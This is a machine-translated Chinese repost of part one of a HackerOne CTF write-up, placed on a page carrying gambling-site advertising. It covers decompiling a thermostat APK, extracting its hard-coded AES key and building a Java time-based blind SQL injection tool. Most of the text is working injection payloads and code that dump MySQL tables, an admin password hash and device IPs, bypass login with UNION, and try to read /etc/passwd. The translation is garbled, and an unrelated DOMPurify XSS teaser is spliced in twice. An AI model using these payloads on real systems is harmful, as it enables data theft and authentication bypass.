Hackerone 50m-ctf writeup(第一局部) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Hackerone 50m-ctf writeup(第一局部)

申博_行业观察 申博 249次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

总结:

有关应战的扼要概述,您可以或许检察以下图象:
Hackerone 50m-ctf writeup(第一局部)
下面我将细致引见我为处置惩罚CTF而接纳的每一步,和在某些状况下致使我走向死胡同的一切毛病假定。

Twitter

CTF从这条tweet最先:
Hackerone 50m-ctf writeup(第一局部)
这些二进制是甚么?
Hackerone 50m-ctf writeup(第一局部)
我的第一个设法主意是实验解码图象上的二进制。我还注意到在’_’字符后,二进制数字与前面的雷同,即:

01111010 01101100 01101001 01100010 00101011 01111000 10011100 01001011 11001010 00101100 11010001 01001011 11001001 11010111 11001111 00110000 00101100 11001001 01001000 00101101 11001010 00000101 00000000 00100101 11010010 00000101 00101001

以是,让我们看看这是不是会转换成任何ascii码或可读的内容(python3的状况)

>>> bin_array_image = ['0b01111010', '0b01101100', '0b01101001', '0b01100010', '0b00101011', '0b01111000', '0b10011100', '0b01001011', '0b11001010', '0b00101100', '0b11010001', '0b01001011', '0b11001001', '0b11010111', '0b11001111', '0b00110000', '0b00101100', '0b11001001', '0b01001000', '0b00101101', '0b11001010', '0b00000101', '0b00000000', '0b00100101', '0b11010010', '0b00000101', '0b00101001']
>>> s = ''.join(chr(int(x,2)) for x in bin_array_image)
>>> print(s)
zlib+x�KÊ,ÑKÉ×Ï0,ÉH-Ê� %Ò�)

很好,前五个字符是:zlib +。以是,或许我们应当运用zlib来解压缩盈余的字节。

>>> import zlib
>>> byte_string = bytes([int(x,2) for x in bin_array_image][5:])
>>> print(zlib.decompress(byte_string))
b'bit.do/h1therm'

好。如今我们有一个重定向到Google云端硬盘中的APK文件的网址。我们下载吧。

APK

作为我的第一步,我运用JADX反编译应用程序并最先搜检代码:
Hackerone 50m-ctf writeup(第一局部)
浏览AndroidManifest.xml我可以或许找到两个activity类:com.hackerone.thermostat.LoginActivitycom.hackerone.thermostat.ThermostatActivity

LoginActivity.class

LoginActivity的中心功用是对用户举行身份验证:

private void attemptLogin() throws Exception {
    ...
    JSONObject jSONObject = new JSONObject();
    jSONObject.put("username", username);
    jSONObject.put("password", password);
    jSONObject.put("cmd", "getTemp");
    Volley.newRequestQueue(this).add(new PayloadRequest(jSONObject, new Listener<String>() {
        public void onResponse(String str) {
            if (str == null) {
                LoginActivity.this.loginSuccess();
                return;
            }
            LoginActivity.this.showProgress(false);
            LoginActivity.this.mPasswordView.setError(str);
            LoginActivity.this.mPasswordView.requestFocus();
        }
    }));

attemptLogin中,App构建了一个像如许的json工具:{“username”:“”,“password”:“”,“cmd”:“getTemp”}然后实例化一个PayloadRequest工具,该工具将被添加到一个Volley Queue中去处置惩罚。那末让我们看看这个类做了甚么。

PayloadRequest.class

public class PayloadRequest extends Request<String> {
     public PayloadRequest(JSONObject jSONObject, final Listener<String> listener) throws Exception {
        super(1, "http://35.243.186.41/", new ErrorListener() {
            public void onErrorResponse(VolleyError volleyError) {
                listener.onResponse("Connection failed");
            }
        });
        this.mListener = listener;
        this.mParams.put("d", buildPayload(jSONObject));
    }

从这里我们可以或许注意到一个URL http://35.243.186.41/,它可以或许被用作后端服务器。另外,另有一个名为buildPayload的要领,它将作为d参数的值。

private String buildPayload(JSONObject jSONObject) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");
        byte[] bArr = new byte[16];
        new SecureRandom().nextBytes(bArr);
        IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);
        Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
        instance.init(1, secretKeySpec, ivParameterSpec);
        byte[] doFinal = instance.doFinal(jSONObject.toString().getBytes());
        byte[] bArr2 = new byte[(doFinal.length + 16)];
        System.arraycopy(bArr, 0, bArr2, 0, 16);
        System.arraycopy(doFinal, 0, bArr2, 16, doFinal.length);
        return Base64.encodeToString(bArr2, 0);
    }

buildPayload要领在CBC形式下运用对称密钥算法[4](AES),它运用雷同的加密密钥来加密明文息争密密文。并且,secretKeySpec是密钥,PKCS#5是添补要领。因而,我们的json老是被加密发送到后端服务器。另外,另有一种处置惩罚相应的要领,称为parseNetworkResponse,它运用雷同的算法和密钥

ThermostatActivity.class

另一个ActivityClass是ThermostatActivity,它两次挪用setTargetTemperature并更新thermostatModel属性。一样运用LoginActivity中雷同的json工具发送getTemp敕令,但正如您所看到的,对效果没有做任何事情(String str)

private void setDefaults(final ThermostatModel thermostatModel) throws Exception {
        thermostatModel.setTargetTemperature(Integer.valueOf(77));
        thermostatModel.setCurrentTemperature(Integer.valueOf(76));
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("username", LoginActivity.username);
        jSONObject.put("password", LoginActivity.password);
        jSONObject.put("cmd", "getTemp");
        volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
            public void onResponse(String str) {
                thermostatModel.setTargetTemperature(Integer.valueOf(70));
                thermostatModel.setCurrentTemperature(Integer.valueOf(73));
            }
        }));
    }

com.hackerone.thermostat.Model.ThermostatModel

剖析其他类,我们找到一个带有setTargetTemperatute要领的ThermostatModel,它给我们另一个敕令:setTemp。这个新敕令的风趣的地方在于如今我们有了一个新的json属性temp,它是setTemp的参数。

public void setTargetTemperature(Integer num) {
        this.targetTemperature.setValue(num);
        try {
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("username", LoginActivity.username);
            jSONObject.put("password", LoginActivity.password);
            jSONObject.put("cmd", "setTemp");
            jSONObject.put("temp", num);
            ThermostatActivity.volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {
                public void onResponse(String str) {
                }
            }));
        } catch (Exception unused) {
        }
        updateCooling();
    }

Dir Brute

为何不如许做?我们有一个运转Web服务器的IP,以是让我们看一下本日是不是是我们的荣幸日,并取得一些探囊取物的效果,找出一个隐蔽的端点。运用FFUF :

./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt
./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt

没那末轻易……

Creating a Java Application

在初始侦探以后,是时刻实验与后端服务器交互的一些进击了。为此,我方才运用App中的雷同源代码建立了一个java应用程序,并举行了少许变动。

public static String sendCommand(String username, String password, String cmd) throws Exception {
        return PayloadRequest.sendCommand(username, password, cmd, null);
    }

    public static String sendCommand(String username, String password, String cmd, String tmp) throws Exception {   
        JSONObject jSONObject = new JSONObject();
            jSONObject.put("username", username);
            jSONObject.put("password", password);
            jSONObject.put("cmd", cmd);
            if( tmp != null) {
            jSONObject.put("temp", tmp);
            }
            return send(jSONObject);
    }

    public static String send(Object jSONObject) throws Exception {
        String payload = PayloadRequest.buildPayload(jSONObject);
            URL url = new URL("http://35.243.186.41");
            HttpURLConnection con = (HttpURLConnection) url.openConnection();
            con.setRequestMethod("POST");

            Map<String, String> parameters = new HashMap<>();
            parameters.put("d", payload);
            ...
            return PayloadRequest.parseNetworkResponse(content.toString());
    }

以是我们如今可以或许运用上面的sendCommand要领向后端发送敕令。我在这里的第一个预测是实验一些SQL注入。然则我们有一些限定,由于服务器只返回“无效的用户名或暗码”或“Unknown”。第一条音讯出如今没有毛病然则用户名和暗码不婚配的状况,第二条音讯出如今某些器械失足的时刻。由于这些限定,我们可以或许实验2中要领:基于时候的盲注或许基于毛病的盲注。让我们用最简朴的payload来实验基于时候的盲注:

System.out.println(PayloadRequest.sendCommand("'||sleep(10)#", "", ""));
// After 10 seconds ...
// {"success": false, "error": "Invalid username or password"}

Time Based SQL Injection

甚么?我们找到破绽了吗?上面的payload经由10秒钟才取得相应!这相对是我的荣幸日……我如今能做甚么?或许是启动SQLMap?不,不!这不敷31337(不敷专业)!让我们用Java建立本身的SQL盲注exp!起首,我们须要对照两个字符,并依据相应时候肯定一个布尔值:True或False。我们可以或许完成以下:

public static boolean blindBoolean(String payload) throws Exception {
        long startTime = System.nanoTime();

    PayloadRequest.sendCommand(payload, "", "");

    long endTime = System.nanoTime();
    long timeElapsed = endTime - startTime;     
    return (timeElapsed / 1000000) > PayloadRequest.TIME_TO_WAIT * 1000;    
    }

为了丈量相应时候,我们须要取得挪用sendCommand之前的时候和挪用以后的时候,然后把2者相减,再与TIME_TO_WAIT相对照,若是所用的时候大于TIME_TO_WAIT则为True否则为False。
如今我们须要一个通用的查询模板,它许可我们从数据库中提取数据:

使用jQuery绕过DOMPurify过滤器

使用jQuery绕过DOMPurify Auther: \u2400@Syclover 前言 由于jQuery的 jQuery.fn.html() 函数 和 document.innerHTML() 函数对于html渲染的差异, 从而导致 DOMPurify库在默认配置下使用jQuery库可能导致XSS (官方文档已经指出了这一点),

'||(IF((SELECT ascii(substr(column,{1},1)) from table limit {2},1){3}{4},SLEEP({5}),1))#

和:

{1} -> %d -> 截取第几个字符
{2} -> 行偏移
{3} -> %c -> 对照操作符 ( =, >, <)
{4} -> %d -> ascii码
{5} -> %d -> 就寝时候

为了进步机能,我们可以或许运用二分查找法举行基于时候的布尔搜检:

public static String blindString(String injection, int len) throws Exception {  
        StringBuilder value = new StringBuilder("");
        for(int c = 1; c <= len; c++) {
            int low = 10;
        int high = 126;
        int ort = 0;
        while(low<high) {
            if( low-high == 1 ) {
                ort = low + 1;
            } else if ( low-high == -1 ) {
                ort = low;
            } else {
                ort = (low+high)/2;
            }

            String payload = String.format(injection, c, '=', ort, PayloadRequest.TIME_TO_WAIT );
            if( PayloadRequest.blindBoolean(payload) ) {
                value.append( Character.toString( (char) ort));
                break;
                }
            payload = String.format(injection, c, '>', ort, PayloadRequest.TIME_TO_WAIT );
            if( PayloadRequest.blindBoolean(payload) ) {
                low = ort;
                } else {
                high = ort;
            }
            }
        }
        return value.toString();
    }

一切预备看上去都很好那末最先走漏一些数据:

Database recon

version()

public static String blindVersion() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(version(),%d,1)))%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 25);
    }
    // 10.1.37-MariaDB

database()

public static String blindDatabase() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(database(),%d,1)))%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 25);
    }
    // flitebackend

hostname + datadir

System.out.println(blindString("'||(IF((SELECT ascii(substr(@@hostname,%d,1)))%c%d,SLEEP(%d),1))#", 20)); 
    // hostname: de8c6c400a9f
    System.out.println(blindString("'||(IF((SELECT ascii(substr(@@datadir,%d,1)))%c%d,SLEEP(%d),1))#", 30));
    // datadir: /var/lib/mysql/

Tables

public static String blindTableName(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 100);
    }
    ...
    PayloadRequest.blindTableName(0); // devices
    PayloadRequest.blindTableName(1); // users
    PayloadRequest.blindTableName(2); // None

flitebackend数据库中找到2张表:devicesusers

Read files?

或许我们可以或许读取一些文件?

System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/hosts'),%d,1)))%c%d,SLEEP(%d),1))#", 20));
    System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/passwd'),%d,1)))%c%d,SLEEP(%d),1))#", 20));

我以为不可。

Login

或许你想晓得为何我还没有登录。由于我实验登录前正在做基于时候的SQL盲注。以是让我们看看我们是不是可以或许运用SQL注入登录:

System.out.println(PayloadRequest.sendCommand("' or 1=1#", "123123", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}

嗯,我们须要斟酌后端怎样举行登录处置惩罚:

1.SELECT username, password FROM users WHERE username='+ username_param +' and password = '+ password_param +' ?
2.SELECT password FROM table WHERE username='+ username_param +'; then check password?

关于1来讲我们已晓得不是这类状况,由于运用'or 1=1#会给我们一个胜利的音讯。关于2来讲我们须要另一个测试,起首,让我们搜检一次查询有多少列。

System.out.println(PayloadRequest.sendCommand("' order by 1#", "", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}.

    System.out.println(PayloadRequest.sendCommand("' order by 2#", "", "getTemp")); 
    // {"success": false, "error": "Unknown"}

好的,基于毛病音讯,我们可以或许确认查询中只要一列。因而,我们可以或许实验运用UNION捏造胜利的查询:

System.out.println(PayloadRequest.sendCommand("' union all select ''#", "", "getTemp")); 
    // {"success": false, "error": "Invalid username or password"}

照样不可,看样子有一些其他的器械,退一步,让我们dump一切的用户表。

users table

起首,我们须要晓得表构造。为了轻易这个历程,我建立了一个名为blindColumnName的要领,它有两个参数:table和offset。这个要领会dump一切来自table指定的表的一切列名。

public static String blindColumnName(String table, int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(column_name,%d,1)) from information_schema.columns where table_name='"+table+"' and table_schema = database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 100);
    }

    ...
    PayloadRequest.blindColumnName("users",0); // id
    PayloadRequest.blindColumnName("users",1); // username
    PayloadRequest.blindColumnName("users",2); // password
    PayloadRequest.blindColumnName("users",3); // None

表构造users(id, username, password)

devices table

和上面的处置惩罚雷同适用于devices表。

PayloadRequest.blindColumnName("devices",0); // id
    PayloadRequest.blindColumnName("devices",1); // ip
    PayloadRequest.blindColumnName("devices",2); // None

表构造devices(id, ip)

Dumping

晓得了表构造,我们可以或许dump值:

public static String blindUsername(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(username,%d,1)) from users limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 5);
    }

    PayloadRequest.blindUsername(0); // admin
    PayloadRequest.blindUsername(1); // None

    public static String blindColumnUsersValues(String column, int length) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr("+column+",%d,1)) from users where username = 'admin')%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, length);
    }

    public static String blindPassword() throws Exception {
        return PayloadRequest.blindColumnUsersValues("password", 32);
    }

    PayloadRequest.blindPassword(); // 5f4dcc3b5aa765d61d8327deb882cf99

只要一个用户(“admin”,“5f4dcc3b5aa765d61d8327deb882cf99”)。这是哈希吗?用Google搜刮它并找到谜底,是的:md5('password')。如今我们可以或许运用admin:password或以至运用sqli登录:

System.out.println(PayloadRequest.sendCommand("admin", "password", "getTemp"));
    // {"temperature": 73, "success": true}
    System.out.println(PayloadRequest.sendCommand("' union all select '47bce5c74f589f4867dbd57e9ca9f808'#", "aaa", "getTemp"));
    // {"temperature": 73, "success": true}

是时刻dump表devices的数据了。

public static String blindIpDevices(int offset) throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices limit "+offset+",1)%c%d,SLEEP(%d),1))#";
        return PayloadRequest.blindString(injection, 16); // Fixed length
    }
    ...
    PayloadRequest.blindIpDevices(0);
    // Device: 0    192.88.99.253
    PayloadRequest.blindIpDevices(1);
    // Device: 1    192.88.99.252
    PayloadRequest.blindIpDevices(2);
    // Device: 2    10.90.120.23

在取得几个ips后,我注意到大多数都属于私有IP地点。我的第一个设法主意是构建一个移除一切私有IP地点的查询(拜见where子句):

public static String blindDeviceQuery() throws Exception {
        String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices where substr(ip,1,2) not in ('24', '25') and substr(ip,1,3) not in ('192', '10.', '198') limit 0,1)%c%d,SLEEP(%d),1))#"; 
        return PayloadRequest.blindString(injection, 16);
    }

    PayloadRequest.blindDeviceQuery();
    // 104.196.12.98

太好了!一个实在的IP地点。

使用jQuery绕过DOMPurify过滤器

使用jQuery绕过DOMPurify Auther: \u2400@Syclover 前言 由于jQuery的 jQuery.fn.html() 函数 和 document.innerHTML() 函数对于html渲染的差异, 从而导致 DOMPurify库在默认配置下使用jQuery库可能导致XSS (官方文档已经指出了这一点),


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Hackerone 50m-ctf writeup(第一局部)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址